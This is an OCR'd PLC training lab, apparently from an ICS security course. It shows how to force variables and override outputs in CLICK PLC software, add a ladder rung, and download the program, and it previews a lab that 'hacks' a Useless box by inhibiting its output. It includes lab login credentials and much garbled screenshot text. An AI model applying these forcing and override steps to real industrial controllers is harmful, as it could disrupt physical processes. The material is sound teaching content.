Bit [Minteger [l IntegerRwords)  [El Floatingpoint [l Hex [T Tet Ascii RUN 0020/8000 C2-01CPU [ 1:1:A

. Most PLC programming software packages allow you to view the current values of variables like inputs, outputs, timers,

counters, and memory registers. The Click PLC supports this feature and allows you to display the current value of any

variable within the PLC. The pata view window also allows us to enter a variable we want to investigate so let's look at how

we can do this. Double-click the pataviewi menu selection to open the pataviewi window.

Navigation
Program Function PLC

=4~ Ladder Program
] Main Program
89 Subroutine Program
@ Interrupt Program
& Address Picker
= Edit Rung Comments
LQ Local Program Informati
Syntax Check
£3 Cross Reference View
= m Monitor
[l Status Monitor
- a View
DataView1
Tl
55 MQTT Text View
BYR Override View
System Monitor
= P0| PID(Monitor/Configuration)
A& PID Setup
&4 PID Monitor
[ PID List View

o x

Let's enter a few variables in the Address column that are used in the ClickLab01 program. Enter variables C3,C5,0S1,0S2,TD1
and TD2 in the Address column. You will be able to see the current values of these variables and you will be able to change
the variable values through this screen as well.

26
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B Data View -[DataView] - O
] view Override
Edit Fill Down Wi Write All New Values oR| R
No. |Address INdmarne ICurrent Value [New Value IWriheIVuewing FormatlAddres Comment I
001 C3 FlasherCircuiten Off On | Off Bit Flasher Circuit Enable
002 (o] OnTimerTT off On | Off Bit Flasher On Timer Timing
003 DS1 Timer 1Preset 5100 Integer Int Single Word On Timer
004 DS2 Timer 2Preset 5200 Integer Int Single Word Off Timer
005 D1 0 Integer
006 TD2 0 Integer
007
008
009
010
011
012
013
014
015
016
017
018
B2l Cose reb

3. When we want to change the value of a variable in the PLC, the Data View window can be used to complete this task. Let's
change the Timer2Preset value from 5200 milliseconds to 5300 milliseconds.

While online with the PLC, start by selecting the view override check box. Next, enter the value 5300 in the New Value
column for address DS2 and press the enter key.

8 Data View -[DataView1] - m]
[ view Override
Edit Fill Down Wi Write All New Values | OWR|ON OWR|OFF
No. |Address IMdmame ICurrent Value INew Value IWnteI IVnew'ng Format IAd&es Comment I
001 |Blc3 FlasherCircuitEn  Off On| off owr|Bit Flasher Circuit Enable
002 |Blcs OnTimerTT off On | Off ovR|Bit Flasher On Timer Timing
003 | Blosi Timer 1Preset 5100 L . Integer Int Single Word On Timer
004 |jlos2 Tmer2Preset 5200 ] Esaoo ;{IT | Integer Int Single Word Off Timer
005 |EITOT Y i Integer
00s | k|02 0 Integer
007
008 |
009 |
010
011
012
o |
014
o:s |
16 |
017
lo18 |
S e reo

4. At this point, we have not committed our changes within the PLC. To commit our new value, we can either double click the
PLC icon in the Write column or we can click the write A1l New values button.
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I Edit Fill Down

B Data View -[DataView1)

Wi Write All New Values l] ‘

{4 view Override

OVR/ON OWR|OFF

No. |Address

IMdmm

ICurrent Value

|New value  [write]

| Viewing FomutIAddres Comment

001 C3

002 CS

003 (3% E—
004 DS2

_Timer Preset

FlasherCircuitEn  Off
OnTimerTT off
—

On Off
On Off

5300

|
5300 li_"‘

T

005 1
006 TD2
007
008
009
010
011
012
013
014
015
016
017
018

HExport|

0
0

T ]

Flasher Circuit Enable
Flasher On Timer Timing
Int Single Word On Timer
Int Single Word Off Timer

Close Help

5. Once we have committed our changes, we will see the Current Value equal to our New Value. Let's look at the logic and see if

our new value of 5300 is being used.

Close the Data View window, scroll down to the rung with the T2 Off Timer. You will see in the Online ladder logic window the
value of DS2 has changed from 5200 to 5300.

CLICK Programming Software (Version 3.21) - ClickLab01.2.ckp - [Main Program] = o X
File ~  Home . Edit View Setup  Program Instruction Window  Help @ Style ~ = & X
% Cut 4= = . Cursor v RungComments @ @ m £ Address Picker ¥ Read Project & Online 1B status
.3 Copy © #line v Address Comments CPU % © Cross Reference Wy Write Project B Run [7F Data View ~
Undo Red Software
:um T Ese V) Nicknames ". Iwm ﬂ@ucwm () PLC Error
Navigation a2 x A | ] | | AF List 2 x
Program Function PLC Flasher On Timer Instruction
T - = —
[= -]:,"Laddev Program O"T,::::,gn Contact ~
2] Main Program BCS [3H Contact (NO)
& Subroutine Program {our) Contact (NC)
@ Interrupt Program 1 [ill] Edge Contact
& Address Picker Flasher Circuit Compare
@ Edit Rung Comments T10n Timer Enable Flasher On Timer Done Coil
() Local Program Informati TimeOn FlasherCircuitEn OnTimerDn 0
& Syntax Check |11 BG 19 ut
ym . I 1 =1 Cour) o] Set
P Cross Reference View L L L —lt
= a Monitor Flasher On Timer
BB status Monitor Done T2 Off Timer Timer/Counter
& T Data View OnTimerDn TimeOff ™ Timer
¥F DataView! T CI4 LA o] Counter
5 Text View 1T
T MQTT Text View i n [Timer(ON Del T T20fTi ——
lasher On Timer imer elay) 2 imer’ Drom
B Override View Dons Current Value Not Retained| TimeOff !. o
[ system Monitor OnTimerDn Unit ms B (38| Shift Register
/1| PID(Monitor/Configuration) 1 Int Single Word Off Timer f———y( ) Copy/Search
{ad PID Sety ! | Timer2Preset Oumt i Co,
P {1 . Py
3% PID Monitor SetPoint mos2 S0l Search
1@ PID List View 5300 s G
(il Call
ICurrent w02 [ For
0 o] Next
< > 5 o8] £nd v
T — 0020/8000 | C2-01CPU LA

. Let's also investigate a second method of changing a variable's value. We will use the override view to set the C3 ladder
logic program variableto on.
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Start by opening the override view window.

Navigation o x
Program Function PLC
=-{*} Ladder Program
#] Main Program
89 Subroutine Program
@# Interrupt Program
& Address Picker
@ Edit Rung Comments
LQ® Local Program Informati
& syntax Check
£ Cross Reference View
= @ Monitor
E Status Monitor
= m Data View
BB DataView1
55 Text View

- Override View

=-Po| PID(Monitor/Configuration)
{As¢ PID Setup
A4 PID Monitor
@ PID List View

7. In the Override View window, enter C3 in the Address column. You can also look for it in the Click PLC by clicking the Address

column and searching for the C3 variable. Click the New Value to on .

B View Override

Fill Down Wi Write All New Values | ’ OVR| ON

OVR | OFF

No. lAddress

INtdcname ICu'rent Value liNew Value

write |

Viewing Format |

001 c3
002

FlasherCir Off

= NETY

Bit

8. Click write all new values to turn coil C3 On. This will start the timer flasher circuit. Close the Override View window when

complete.

E Overnde

Fill Down

Wi Write All New Values || ‘

View Override -
OVR ON OVR | OFF

No. |Address INlckname ICurrent Value INew Value ertel Viewing Formatl
001 Cc3 FlasherCir Off <0 OVR I Bit
002
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Note

Data View

Write all edits?

Click ves if the following pop-up is displayed.

MNOTE: The write of multiple edits WILL NOT happen
simultaneously, but will be written one at-a-time.

Yes

| |

Mo

9. Navigate back to the Status Monitor and watch the behavior of the simple timer circuit logic that has been created. You will

see that memory location C3 Flasher Circuit Enable is now forced on and the flasher circuit will be energized. You should

observe the T7 On Timer will begin to time and once the T7 On Timer has reached its preset value, it will energize the T2 Off
Timer. The toggling off and on of both timers will continue as long as the PLC is in run mode and C3 Flasher Circuit Enable

remains on.
CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program] = X
File ©  Home . Edit View Setup  Program Instruction Monitor ~ Window  Help @ Style - = & X
% Ct 4o p . Cursor v/ RungComments @ ﬁ m 2 Address Picker HiReadProject & Online FAstatus.
43 Copy - # Line 'v| Address Comments © Cross Reference > Write Project B Run Data View ~
Undo Redo — CPU IIO Soﬁvnu Disconnect » n
A Paste 7 Erase v Nicknames & Syntax Check & PLCInformation () PLC Error
Y ) S I T | status__J| _ Monitor__|
Navigation 2 x A | ] | G | o AF ~ List 2 x
Program  Function PLC Flasher Circuit Flasher On Timer Timer(ON Delay) T T10On Timer Instruction
-4 Ladder Program Enable Done Current Value Not Retained TimeOn Contact 7S
'g Main Program FlasherCircuitEn OnTimerDn Unit ms| BT [3H Contact (NO)
= S BC [: <) Int Single Word On Timer q
&E Subroutine Program 1 l m’ TineriPieset Output Conna (NC)
@ Interrupt Program Eravie/SetPoint mos1 [i} Edge Contact
& Address Picker 2100 Compare
@ Edit Rung Comments Coil
LQ) Local Program Informati 84 Out
# Syntax Check |Current mTo1 o set
£P Cross Reference View d Al Reset
= E Monitor Flasher On Timer Ti /C
B status Monitor Timing
& ¥ Data View OnTimerTT W Timer
B Dataview! fl cs o Counter
7 Text View (our) Advanced
T MQTT Text View - 43/ Math
asher Circuit Drum
B Override View T10n Timer Enable Flasher On Timer Done 5_]!nsmh Regist
[0 System Monitor TimeOn FlasherCircuitEn OnTimerDn v
(-0 PID(Monitor/Configuration) BT BC [ : [<) Copy/Search
A PID Setup (7 | 1 J L Lo ¥ | [ Copy 5
&3 PID Monitor —
1A PID List View Output 2 x
ClickLab01 - 0 error(s), 0 warning(s) ~
Write Project into PLC...
Transfer completed.
< > v

Hm [ integer .Inuger(lwds) (Bl Floating point [l Hex [MTet  [Al Ascii RUN

0020/8000 Q2-01CPU LLA

10. As a challenge, let's add Logic to turn on the Y003 output on when the Flasher Timer T7 is timing. Let's start by disconnecting
(going offline) from the Click PLC and doing the ladder code modifications on our computer and then writing our changed

code back to the Click PLC.

Click the Home menu bar and click the Online menu item. You will be prompted to Disconnect from the PLC?
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Clip Board

Select ves to move to the Offline mode

CLICK Programming Software

0 Disconnect from PLC?

[ s || mo

Program

11. Right click on the last rung of the program, this is the rung that contains the End logical operator. Select

Insert Rung Before Cursor .

CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program]

Clip Board

Program

| Program  Function PLC

Flasher On Timer

Status Monitor

- 10] PID(Monitor/Configuration)

|t PID Setup
3% PID Menitor |
| PID List View

Done T2 Off Timer
=-£2) Ladder Program OnTimerDn TimeOff
- Main Program T c|4 T T2
g
D Interrupt Program 1 L I
&P Address Picker Flasher On Timer
@ Edit Rung Comments Done
L) Local Program Informati 0"2"&’0"
4 Syntax Check 3 1]
£ Cross Reference View L
B Monitor

|Timer(ON Delay)
|Current Value
Unit

SetPoint

T2

Not Retained

mos2

msj

Int Single Word Off Timer
Timer2Preset

T2 Off Timer
TimeOff
12

Ru srsor
Insert Rung After Cursor
Insert Row Before Cursor
Insert Row After Cursor

Insert Column Before Cursor
Insert Column After Cursor

Delete Row

o Edit Rung Comment

12. After the rung insertion, you will see a NOP (No Operation) operator.
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CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program]

- @ Edit Rung Comments
L Local Program Informati
- ® syntax Check

= #9) PID(Monitor/Configuration)
[ PID Setup

3% PID Monitor

" |Am PID List View

13. Drag a normally open contact, to the column "A" of the newly inserted rung. You will do this by selecting the Contact (NO)
from the right-hand Instruction List menu and dragging it to column A of the new rung. A popup box will appear that prompts

Program

Flasher On Timer
Done
OnTimerDn
"

ON Delay) 7
Value

Unit

Not Retained|
ms|
Int Single Word Off Timer
Timer2Preset
mos2

mTD2

T2 Off Timer
TimeOff
812

(eno )

ClickLab01 - 0 error(s), 0 warning(s)

Write Project into PLC...
Transfer completed.

you to enter the Bit Memory Address.
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E CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program]
" Home..
—

Py

Monitor

A
Program Function PLC Flasher On Timer
Done T2 Off Timer
£ Ladder Progiam OnTimerDn TimeOff
-] Main Program , CIA IITZ
N84 Subroutine Program 1t /{
@ Interrupt Program —
&9 Address Picker Flasher On Timer (ON Delay) T2|
’ Edit Rung Comments Done Value Not Retained|
Q) Local Program Informati OnTimerDn Unit ms|
o Check B Int Single Word Off Timer
& syntax 3 e Timer2Preset Output
€ Cross Reference View LI /- mos2
-8 Monitor Conpéict Normally Open X
[ status Monitor
=-FR Data View
pe Y . T
53 Text View —
53 MQTT Text View : el X
P& Override View
[ System Monitor [ ] cocdl | | Hb | ————————————(noP)
=-#0| PID(Monitor/Configuration)
- A PID Setup s
-3 PID Monitor
[ PID List View
6
<l
ClickLabO1 - 0 error(s), 0 warning(s)
Write Project into PLC...
Transfer completed. l
<« I > v

14. Enter C5 as the Bit Memory Address
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CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program]

v
v
v
A B C AF
Program Function PLC Flasher On Timer
s Done T2 Off Timer
=42} Ladder Program OnTimerDn TimeOff
-] Main Program ’CIA IITZ
-4 Subroutine Program i T |
@ Interrupt Program —
Flasher On Timer ON Delay) T2 T2 Off Timer
Done rrent Value Not Retained| TimeOff
OnTimerDn Unit ms| |12
B Int Single Word Off Timer
3 : I Timer2Preset
Contact Normally Open X WDs
verrypstes v ] || mme
1 || immediate(Only for X Bit)
4 [ ok || coned | | Hp | ( NOP )
= #18| PID(Monitor/Configuration)
- PID setup B {Eenp )
.3 PID Monitor ~
|/ PID List View
6 { NOP )
<l
ClickLab01 - 0 error(s), 0 warning(s)
Write Project into PLC...
Transfer completed.
< I
M
= ¥

15. You will now add output Y003 to the rung. Select " out " from the Coil Instruction List and drag that over the NOP coil.
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CLICK Programming Software (Version 3.21) - ClickLabO01.ckp - [Main Program] - [m] X

Program PLC Monitor

T2 Off Timer
&£ Ladder Program OnTimerDn TimeOff
i [ [e) |12
] | |
11 f
Flasher On Timer ON Delay) T2 T2 Off Timer
Edit Rung Comments Done Value Not Retained| TimeOff
Local Program Informati OnTimerDn Unit ms BT
e e B Int Single Word OFf Timer
3 : = Timer2Preset
Enable| mos2
Current mTD2
Flasher On Timer
Timing
OnTimerTT
BC
] |
L

ClickLab01 - 0 error(s), 0 warning(s)

Write Project into PLC...

16. After successfully dragging the "Out" instruction over the NOP instruction, you will be presented with a "Set" popup dialog box.
Enter YOO03 in the Bit Memory Address 1 entry field and leave the Bit Memory Address2 blank and select " ok "
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CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program] =5 m] X

v
v
v
A 8 C AF Y | List 2 x
Program Function PLC Flasher On Timer
s Done T2 Off Timer
-4} Ladder Program OnTimerDn TimeOff
- Main Program ’CIA .ITZ
-4 Subroutine Program i T |
@ Interrupt Program —
Flasher On Timer ON Delay) T2 T2 Off Timer
Done rrent Value Not Retained TimeOff
OnTimerDn Unit ms| |12
BCa Int Sinale Word Off Timer
3 : I Out X [Preset (Output
Bit Memory Address1: Bit Memory Address2 (Optional):
v [vo03 ] o v [=]
D2
| [CJ0ne Shot (Turn on the bit(s) for one scan)
Flasher On Timer [Jimmediate(Only for Y Bit)
Timing
OnTimerTT
18] PID(Monitor/Configuration) HCs [ox ][ comcel | | mep |
s PID Setup 4 l l { NOP )
.3 PID Monitor ——
|/ PID List View
ClickLab01 - 0 error(s), 0 warning(s)
Write Project into PLC...
Transfer completed.

After you have successfully entered Y003 into the dialog box, you will see the completed rung as follows.
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@ cLcK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program] - 0o X

.

(ON Delay) 12| T2 Off Timer
Value Not Retained| TimeOff

OnTimerDn Unit ms|
Ba Int Single Word Off Timer
|} Timer2Preset

{4 PID List View

<

ClickLab01 - 0 error(s), 0 warning(s)

Write Project into PLC...
Transfer completed.

<

.<_ >
Wb SRS

SRR

Mr1et [AAsc Offlir 020/8000 C2-01CPU &1AF

17. Download the new program into the PLC by selecting the PLC Home tab, PLC menu bar item and then select " write Project

into PLC".
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[« ming Software (Version 3.21) - ClickLab01.ckp - [Main Program] - o x

<

A B C AF ~
Program Function PLC Flasher On Timer
Done T2 Off Timer
EY) E""" Program OnTimerDn TimeOff
& Main Program BCca 872
5 |1 |
g ISubvoutm: Program |} /f
- & Address Picker Flasher On Timer ON Delay) T T20f Timer
@ Edit Rung Comments o gon:'bn Value Not Retained| T“.";g"
LY Local Program Informati nTim Unit ms|
5 g S:r“nn Check Bcs Int Single Word Off Timer
g Cross Reference Vi 3 : : Timer2Preset Outout
e View 3 mos
=2 Monitor
JB® status Monitor
TH Data View
- §H DataView! Current mT02
3 Text View
MQTT Text View
Override Flasher On Timer
L = s Timing Flasher Output
. System Monitor OnTimerTT b
19 PID(Monitor/Configuration) BCS B Yoo
- {fa PID Setup 4 |} Cour)
3% PID Monitor —
"} PID List View
ClickLab01 - 0 error(s), 0 wamning(s)
Write Project into PLC...

18. The "Connect to Click PLC" window will reappear with your manually set IP Address and Subnet Mask. For those sharing a
Pod with another student, be sure you select your PLC before proceeding to connect.

Click " connect " to continue the Write Program process
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Example

In the example below, we see the Click PLC IP Address set to 172.16.1.12 with a subnet mask of 255.255.255.0.

Connect to CLICK PLC X ‘
Switch/Hub
This Computer
[ [ E}’\
A j
Ethernet o
Direct connection
Port Type: = = ) Location of the target CLICK PLC
(®) In the same LAN (Scan all CLICK PLCs in the LAN automatically.)
Network Adapter:
Outside this LAN (You need to allocate IP address and port number manually.
IntelR) 82574 Gigait Network Conecton /| M i i
Port Setiing PLC Name IP Address Subnet Mask Part Number Firmware ~ Mode Status  Mac Address
[PAddess: 1721611 | li;nsii 2552552550 Jc201ceu vers.2r BTCHlce E 00:00:7C: 1A:01:35 ]

Subnet Mask: 255.255.255.0
Default Gateway: 172.16.1.1

Refresh Blink RUN & ERR LEDs Edit...

19. You will be prompted for a user name and password. The username and password is stored with project and is also
downloaded to the PLC. The username is "admin" and the password is "sansics123".

Login X

Please Enter User Type and Password.

User Type: [ admin ]

Password: l bansics123 I

[] view Password
Factory Default Password = "dick”™

Forgot Password?
o] | o

20. On the write project into PLC window, uncheck the " Run Time Edit"box and then select ok
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Write Project into PLC

PC

Project Name: |ClickLab01

l

Program Size (Total: 8,000 steps)

WProgram Size: 20steps (  0.25 %)
WFree Area: 7,980 steps ( 99.75 %)
0 8,000

Project File (Total: 262,144 bytes)

WProject File Size 8,020 bytes (  3.05 %)
WFree Area: 254,124 bytes ( 96.95 %)
0 262,144
Last Update: Jan 29,2022, 07:26:14
[ write Project File into PLC

By enabling this option, the project file will be
downloaded(Write) into the PLC. If you want to disable
project upload(Read), disable this option.

PLC
CPUType:  [C2:01CPU |
Project Name: | |
Program Size (Total: 8,000 steps)
WProgram Size: Osteps(  0.00 %)
WlFree Area: 8,000 steps ( 100.00 %)
0 8,000

Project File (Total: 262,144 bytes)

The Project file was not
downloaded into this CPU module.

Last Update: e

RUN Time Edit

This CPU module is currently in STOP mode.

(o] o e

This will download the project into the Click PLC

Note

If the PLC is in RUN Mode the following pop-up will display indicating that the PLC must be changed to STOP Mode to

write the program. Click ves to proceed with a software initiated mode change.

CLICK Programming Software
PLC is in RUN Mode,
Do you want to change to STOP Mode?

Yes ‘ No

After a successful write, the following pop-up will appear asking to change the PLC Mode. Ensure RuN is selected and

click ok .
PLC Modes X
Current PLC Mode:  STOP
New PLC Mode: ®RUN
(O sTopP
I OK I ‘ Cancel ‘ ‘ Help ‘

21. After downloading the program, open the Override View window so we can force "C3 Flasher Circuit Enable" on.
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Navigation o x

Program Function PLC

=-{*} Ladder Program
] Main Program
89 Subroutine Program
@# Interrupt Program
& Address Picker
= Edit Rung Comments
LY Local Program Informati
@ Syntax Check
£ Cross Reference View
= E Monitor
E Status Monitor
—-FH] Data View
DataView1
55 Text View

2 Override View

=-m0o| PID(Monitor/Configuration)
{2 PID Setup
A4 PID Monitor
@ PID List View

22. In the Override View window, enter C3 in the address field. You can also look for an in the Click PLC by clicking the Address
field and searching for the C3 Variable. Click the New Valueto " on "

23.

L B Overr =
View Override
I Fill Down mﬂrite All New Values OVR | ON OVR | OFF
| |No. |Address Ichkname ICurrent Value jiNew Value Writel |Viewing Formatl
| |oo01 c3 FlasherCir Off S ovr|Bit
002

Click "write all new values "to turn coil C3 On. This will start the timer flasher circuit. Close the Override View window when

complete.
= =
View Override
| Fill Down Wi Write All New Values || o/ ON OVR!| OFF
~ No. |Address INickname lCurrent Value |[New Value ertel lv-ewtng Format I
| o001 Cc3 FlasherCir Off on Off| _ovr|Bit
002

24. You should now see the physical output Y003 on the Click PLC turning on when the T1 Flasher On Timer is on. You will also
see this same indication in the Click PLC programming software when the Flasher On Timer Timing bit C5 is on.
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CLICK Programming Software (Version 3.21) - ClickLab01.ckp - [Main Program] - 8] X

File ©  Home . FEdt View  Setup Program Instruction PLC Monitor Window Help B Style = & X
& Cut - > Cursor  v| Rung Comments ._m ﬁ @ m 7 Address Picker ) % Read Project SO0nline  Fsuws
L3 Copy o i 2lea | (v Address Comments | _ Instruction List au 1o ¢ Cross Reference W Write Project B Run cdc T Data View -
.3 e | ,7Ease  v| Nicknames - @9’“’"‘"“" @"‘CN"""“ i
Navigation 2 x § A ) B 2 C” | AF A Instruction List a x
Program Function PLC Flasher On Timer Instruction
Done T2 Off Timer
£2 Ladder Program OnTimerDn TimeOff Contact A
EJ Main Program BC ET12 [HH Contact (NO)
3 -
8] Subroutine Program { } M (28 Contact (NC)
@ Interrupt Program [ [} Edge Contact
& Address Picker Flasher On Timer Timer(ON Delay) T2 T2 Off Timer Compare
@ Edit Rung Comments Done Current Value Not Retained| T';‘fg" Coll
OnTimerDn Unit ms
Local P Inf it
; S“l.ax éohge'::‘ G Ba Int Single Word Off Timer fmee{ ) ] Out
yn 3 { |[ J— Timer2Preset Oveat el Set
i €9 Cross Reference View Erave|SetPoint mos2 Reset
5 & Monitor
n Status Monitor m
m Data View 8 Timer
¥E DataView! ICurrent mT02 ot Counter
E Text View W
75 MQTT Text View £3 Math
B8 Override View Fla'.v-::Cn Timer — et Drum
m e Mookion iming asher Output sh Shift Register
s OnTimerTT Flasher
=) 8| PID(Monitor/Configuration) BCS B Y003 Copy/Search
[ PID Setup 4 11 @Gup e Copy
E PID Monitor 1 el Search
{Am PID List View P Program Control
5 (eno ) i Cat
E For
< > % E Net v
Output a x
ClickLab01 - 0 error(s), 0 warning(s) ~
Write Project into PLC...
Transfer completed.
< > v
B gt [Dinteger [@ Intzguﬂwds) [E Floating point . Hex  [MTet  [AlAsci  Offfine 0020/8000  C2-01CPU &LAF

Note

If you did not complete the lab, you can open the completed Click PLC Project titled " clickLabe1.2-complete.ckp " that is
located in the pesktop\Lab Files\Lab 1.2\click folder. This file contains a completed Click PLC project file that you can
download and test the lab functionality without manually entering the ladder logic.

1. Can all memory locations be successfully forced "On" with the Override View?

2. Can you complete this entire lab without an ethernet cable?

3. When TD1 stops counting, what element starts counting?
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Exercise Takeaways

Depending on the manufacturer, model type, etc. PLCs will usually have multiple methods for establishing communication
because there isn't a standard amongst PLC vendors. Connecting to an Industrial Control System will often require a variety of
cables, converters, and some unique procedure for initial setup. You will also find that each vendor will require their proprietary
application(s) to program, download and upload logic to their hardware. Establishing an initial configuration and understanding
the logic flow is an essential skill set for individuals working in this field.
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Lab 1.3 -- PLC Programming and I/0 Integration

Background

Total Lab Time: 20 minutes

Objectives

Objective #1: Turn the Useless box into a Useful box. You will do this by programming the Click Plus PLC to enable output Y01
thereby providing a path from +5VDC to DC Common for the Useful Box motor circuit.

Objective #2: Hack the Useful box by writing a program to recognize the Useful box switch has been selected to the "On" position
but inhibit the output YO1 when memory coil C3 has been turned on.

+ Review the wiring of your Useless Box to the Click Plus PLC

» Write a PLC program to control your Useless Box with your Click Plus PLC. You will do this by programming the Click Plus
PLC to enable output YO1 thereby providing a path from +5VDC to common for the Useful Box motor circuit.

+ You will create a Useless Box "hack" by writing a program to recognize the Useful box switch has been selected to the "On"
position but inhibit the output YOT when memory coil C3 has been turned on.

Task 1 -- Review Wiring of Useful Box

When we review the wiring of the Click Plus PLC and the Useless box, we find a wire between the Useless box negative battery
terminal and the Click Plus PLC contact output "Y1". We will find that by enabling Y1 relay output through ladder logic and closing
the Y1 relay contact, it will complete the Useless box motor circuit and enable the Useless box motor to run. We will also find wire
"1" between the Useless box and the Click Input module to sense when the Useless box switch is in the "On" position. Let's dig into
how this works electrically.
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S0-264 VAC, 1@, 47-63Hz C-more HMI

Supplied by Custon"l)grwer Click Plus PLC  Click Plus 1/O Combo Card Click T/C Module Click 3.3-5VDC Input Module
T C2-01CPU C2-14DR C0-04THM C0-08ND3-1
| | | Transformer S S £0-04THM €0-08ND3-1
(547, COM @ c1
T T L1 12 o TC1+ ¢ » 1 o—
2Q TCl- @ K Type T/C 2 9 1
30 TC2+ @ ype 3 Q
2Q TC2- @ )
37, COM @ ]
5@ TC3+ @ 5 @
E-Net g Q@ jr'cs- 7] E75 @
) C4+ @ @
D fratiells © Tcs- @ s @
otion o
L7 g
Serial T2 g Yi
24VDC to 5VDC ; 30
4
24VDC Transformer Board E’ | o 8
2 e 5Q
24vDC swe | 0 __f--"" 6@ joom
oj -1-"" 24V OV Gnd
2 9 J@_
\ com ! ] = / j /
com | oM

Y1

+24VDC

+5VDC 1 I
I
WARNING:
Do NOT install batteries into Useless Box I
when connected to the Click PLC I Motor At |
I A Home Position
Micro Switch I

Click Plus PLC / Useless Box Diagram Glossary of Terms

« Power Transformer - In this diagram, the power transformer is used to convert 90-264VAC, 47-63Hz single phase power to
24VDC.

+ 24VDC to 5VDC Transformer Board - In this diagram, the 24VDC to 5VDC transformer board is used to step 24VDC down to
5VDC for the Useless box circuit

+ COM - Direct Current (DC) electrical common

+ OV - Direct Current (DC) electrical common as marked on the Click Plus PLC

+ Gnd - Ground reference. Per Click Plus PLC wiring guide, it should be tied to a ground terminal.
++24VDC - Positive 24 Volts DC with reference to DC Common

+ +5VDC - Positive 5 Volts DC with reference to DC Common

We stated that Useless box will operate if the Click Plus PLC Output Y1 is energized but let's look at the electrical schematic to
understand how this works

Callout 1: We see a 24VDC power supply supplies power to the Click Plus PLC. This 24VDC power supply also supplies power to a
step-down transformer board which converts 24VDC to 5VDC. The 5VDC power supply provides power to the Useless box instead
of using batteries.
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DANGER

Do NOT install batteries into the Useless box battery holder while the Useless box is wired to the 5VDC power transformer or
the Click Plus PLC. Doing so may result in damage to the Useless box or could even cause an electrical fire!

Callout 2: We see where the transformer board supplies the Useless box with 5VDC power, replacing the power the battery pack
would normally supply to the Useless box motor and circuitry.

Callout 3: We will find that when relay output labeled Y1 is turned on, the electrical path from the Useless box motor to the 5VDC
Common circuit will be completed thereby allowing the Useless box motor to operate. In this lab, we will write ladder logic to
energize output Y1 in the Click Plus PLC to allow the Useless box to operate

Callout 4: We see wire "1" wired from the Useless box On switch to a PLC input module. When the Useless box switch is in the "On"
position it will register as an input X201. We will cover the addressing schema in later labs.

90-264 VAC, 1@, 47-63Hz C-more HMI
Supplied by CU5t°"|;2'wer Click Plus PLC  Click Plus 1/O Combo Card Click T/C Module  Click 3.3-5VDC Input Module
C2-01CPU C2-14DR C0-04THM C0-08ND3-1
| | Transformer e o S — o m— e
e i COM @— 1 @—
T 1 L1 1Q TCl+ & » 1 ¢
29 TCi- @ Xypetic | 2 @ 1
3Q TC2+ Q ype 3 Q
1Q TC2- @ 4 Q@
3 (717 oM @ 2 Q
5@ 1C3+ @ 5 @
1 =8 ¢ 8
+
1 I:' Enable 5 @ TC4- @ g @
Motion (37,
| %
’ w28 Y1
24VDC to 5VDC sk 3 8
24VDC Transformer Board 40
S o
v 5 Q
28vDC svoe —.—u—-""— t o Icom
+ - 4 -
q Q"’" 24v 0V Gnd
2 @ 9

N ) . ) o )

+24VDC

Useless Box

WARNING: | d | oul
Do NOT install batteries into Useless Box

% Battery Pack
when connected to the Click PLC l Motor s
I Home Position
Micro Switch

To clarify the physical wiring in your student kit, you will see two physical Ethernet jacks. One found on your student kit stand and

the second Ethernet Jack is mounted to your Useless box. The Ethernet cable is not used for an Ethernet network but rather they
are only used as a physical wiring media. The Ethernet wires are used to carry voltage and current between the Click Plus PLC and
the Useless box. Think of the Ethernet cable between the student stand and the Useless box as just wires used to connect both
devices.
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90-264 VAC, 10, 47-63Hz C-more HMI

Stppled by Cltomer Click Plus PLC  Click Plus 1/O Combo Card ~ Click T/C Module  Click 3.3-5VDC Input Module
== C2-01CPU C2-14DR C0-04THM C0-08ND3-1
| | Transformer —_— —_— e ——
c1Q CoM @— 1 @—
I 1o jeone 1+ @ . 1 o—
29 TCl- @ T 2 @ 1
30 TC2+ @ yeT/C | 3 g
31Q TC2- @ 4 @
Q2 coM @ 2o
5Q 1C3+ @ 5 Q@
E-Net g @ 11"&3 %] g o
+
‘:I :A"ab'e 8 8 TC4- 8 8 8
otion
52
Serial M3 ° ¥i
24VDC to 5VDC I 38
R TSR | 4
24VDC Transformer Board B | A g
- -1 50
24vDC sVDC o ST 50 com
+ - % = | sowem—=
@ -T° 24V OV Gnd
T T&j o0 R 1
) = N
com i ( Ethernet
com ]I com Jack
J

1 5
2 6
Y1 3 &
+24VDC i
Off On Ethernet
Useless Box N Jack

Ethernet
Cable

—
+
+
w
<
o
(o]
Q
-
[
bW
o wn

ErE— 5
WARNING: | 1] X_“L?_&J :
Do NOT install batteries into Useless Box !
2 I Battery Pack o—
when connected to the Click PLC / Motor At |
Home Position
l A Micro Switch I

State Transition Diagram

As we described in our classroom discussion, communicating the intentions of "what" to program can be quite challenging. While
not perfect, a State Transition Diagram accompanied by the State Transition Table helps us visualize and communicate the
expectation of the program. Please note, below the State Diagram is a glossary of terms associated with the State Diagram and
the State Transition Tables.

Looking at the State Transition Diagram below, we will work from the left to right to describe the states and the transitions.
Callout 1: When the Click Plus PLC transitions from Program to Run, we move from Initialization to the Idle state awaiting input.

Callout 2: In the Idle state we are waiting for the Useless box switch to be changed from "Off" to "On" so we can move to the
Running state.

Callout 3: While in the Running state, if the Useless box motor runs and moves the Useless box switch from "On" to "Off" then we
move back to the Idle state

Callout 4: While the Useless box switch remains in the "On" position, the Useless box Watch Dog timer will time. If the Useless box
motor doesn't run thereby not moving the Useless box switch to the "Off" position, the Useless box Watchdog timer will time out.
The Useless Box Watch Dog Timer timing out will move us to the Alarm state.

Callout 5: Once the Useless box alarm is acknowledged by the operator AND the Useless box alarm is no longer in alarm, we
move back to the idle state
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2

3 X201_UBoxOnSw_HIGH
Idle 2
E: Running
X :
© =
1 b o 3 I:
S o
o o) X201_UBoxOnSw_LOW
0. K\
1 % &2
. C &
: ¢ 7| 4
X: % ,{5 7
2%
4
Alarm

State Diagram and State Transition Table Glossary of Terms

« Circles — circles represent a State

+ Lines with arrows - lines with arrows represent a transition

« E within a "State" circle - "E" represents the Entry action

+ X within a "State" circle - "X" represents the Exit action

« | within a "State" circle - "I" represents the Input action

- T3_-"T" represents a timer in the PLC, 3 represents the 3 timer memory location
+ _HIGH - Bit is "On" or "True"

+ _LOW - Bit is "Off" or "False”

